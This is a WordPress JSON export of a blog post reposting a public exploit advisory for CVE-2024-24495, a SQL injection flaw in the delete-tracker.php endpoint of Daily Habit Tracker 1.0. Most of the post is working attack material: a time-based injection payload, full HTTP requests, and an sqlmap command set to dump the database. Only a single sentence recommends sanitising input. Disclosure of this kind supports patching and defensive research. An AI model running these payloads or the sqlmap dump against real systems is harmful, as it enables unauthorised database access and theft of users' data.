{"id":55801,"date":"2024-04-03T01:11:10","date_gmt":"2024-04-02T21:11:10","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/177876\/dht10-sql.txt"},"modified":"2024-04-03T01:11:10","modified_gmt":"2024-04-02T21:11:10","slug":"daily-habit-tracker-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/daily-habit-tracker-1-0-sql-injection\/","title":{"rendered":"Daily Habit Tracker 1.0 SQL Injection"},"content":{"rendered":"<p># Exploit Title: Daily Habit Tracker 1.0 &#8211; SQL Injection<br \/># Date: 2 Feb 2024<br \/># Exploit Author: Yevhenii Butenko<br \/># Vendor Homepage: https:\/\/www.sourcecodester.com<br \/># Software Link: https:\/\/www.sourcecodester.com\/php\/17118\/daily-habit-tracker-using-php-and-mysql-source-code.html<br \/># Version: 1.0<br \/># Tested on: Debian<br \/># CVE : CVE-2024-24495<\/p>\n<p>### SQL Injection:<\/p>\n<p>&gt; SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an application makes to its database. Usually, it involves the insertion or &#8220;injection&#8221; of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert\/Update\/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system, and in some cases, issue commands to the operating system.<\/p>\n<p>### Affected Components:<\/p>\n<p>&gt; delete-tracker.php<\/p>\n<p>### Description:<\/p>\n<p>&gt; The presence of SQL Injection in the application enables attackers to issue direct queries to the database through specially crafted requests.<\/p>\n<p>## Proof of Concept:<\/p>\n<p>### Manual Exploitation<\/p>\n<p>The payload `'&#8221;&#8221;;SELECT SLEEP(5)#` can be employed to force the database to sleep for 5 seconds:<\/p>\n<p>&#8220;`<br \/>GET \/habit-tracker\/endpoint\/delete-tracker.php?tracker=5&#8242;&#8221;&#8221;%3bSELECT+SLEEP(5)%23 HTTP\/1.1<br \/>Host: localhost<br \/>User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/115.0<br \/>Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8<br \/>Accept-Language: en-US,en;q=0.5<br \/>Accept-Encoding: gzip, deflate, br<br \/>DNT: 1<br \/>Connection: close<br \/>Upgrade-Insecure-Requests: 1<br \/>Sec-Fetch-Dest: document<br \/>Sec-Fetch-Mode: navigate<br \/>Sec-Fetch-Site: none<br \/>Sec-Fetch-User: ?1<br \/>&#8220;`<\/p>\n<p>![5 seconds delay](https:\/\/github.com\/0xQRx\/VunerabilityResearch\/blob\/master\/2024\/img\/sqli.png?raw=true)<\/p>\n<p>### SQLMap<\/p>\n<p>Save the following request to `delete_tracker.txt`:<\/p>\n<p>&#8220;`<br \/>GET \/habit-tracker\/endpoint\/delete-tracker.php?tracker=5 HTTP\/1.1<br \/>Host: localhost<br \/>User-Agent: Mozilla\/5.0 (X11; Linux x86_64; rv:109.0) Gecko\/20100101 Firefox\/115.0<br \/>Accept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8<br \/>Accept-Language: en-US,en;q=0.5<br \/>Accept-Encoding: gzip, deflate, br<br \/>DNT: 1<br \/>Connection: close<br \/>Upgrade-Insecure-Requests: 1<br \/>Sec-Fetch-Dest: document<br \/>Sec-Fetch-Mode: navigate<br \/>Sec-Fetch-Site: none<br \/>Sec-Fetch-User: ?1<br \/>&#8220;`<\/p>\n<p>Use `sqlmap` with `-r` option to exploit the vulnerability:<\/p>\n<p>&#8220;`<br \/>sqlmap -r .\/delete_tracker.txt &#8211;level 5 &#8211;risk 3 &#8211;batch &#8211;technique=T &#8211;dump<br \/>&#8220;`<\/p>\n<p>## Recommendations<\/p>\n<p>When using this tracking system, it is essential to update the application code to ensure user input sanitization and proper restrictions for special characters.<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Daily Habit Tracker 1.0 &#8211; SQL Injection# Date: 2 Feb 2024# Exploit Author: Yevhenii Butenko# Vendor Homepage: https:\/\/www.sourcecodester.com# Software Link: https:\/\/www.sourcecodester.com\/php\/17118\/daily-habit-tracker-using-php-and-mysql-source-code.html# Version: 1.0# Tested on: Debian# CVE : CVE-2024-24495 ### SQL Injection: &gt; SQL injection is a type of security vulnerability that allows an attacker to interfere with the queries that an &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-55801","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55801","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=55801"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/55801\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=55801"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=55801"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=55801"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}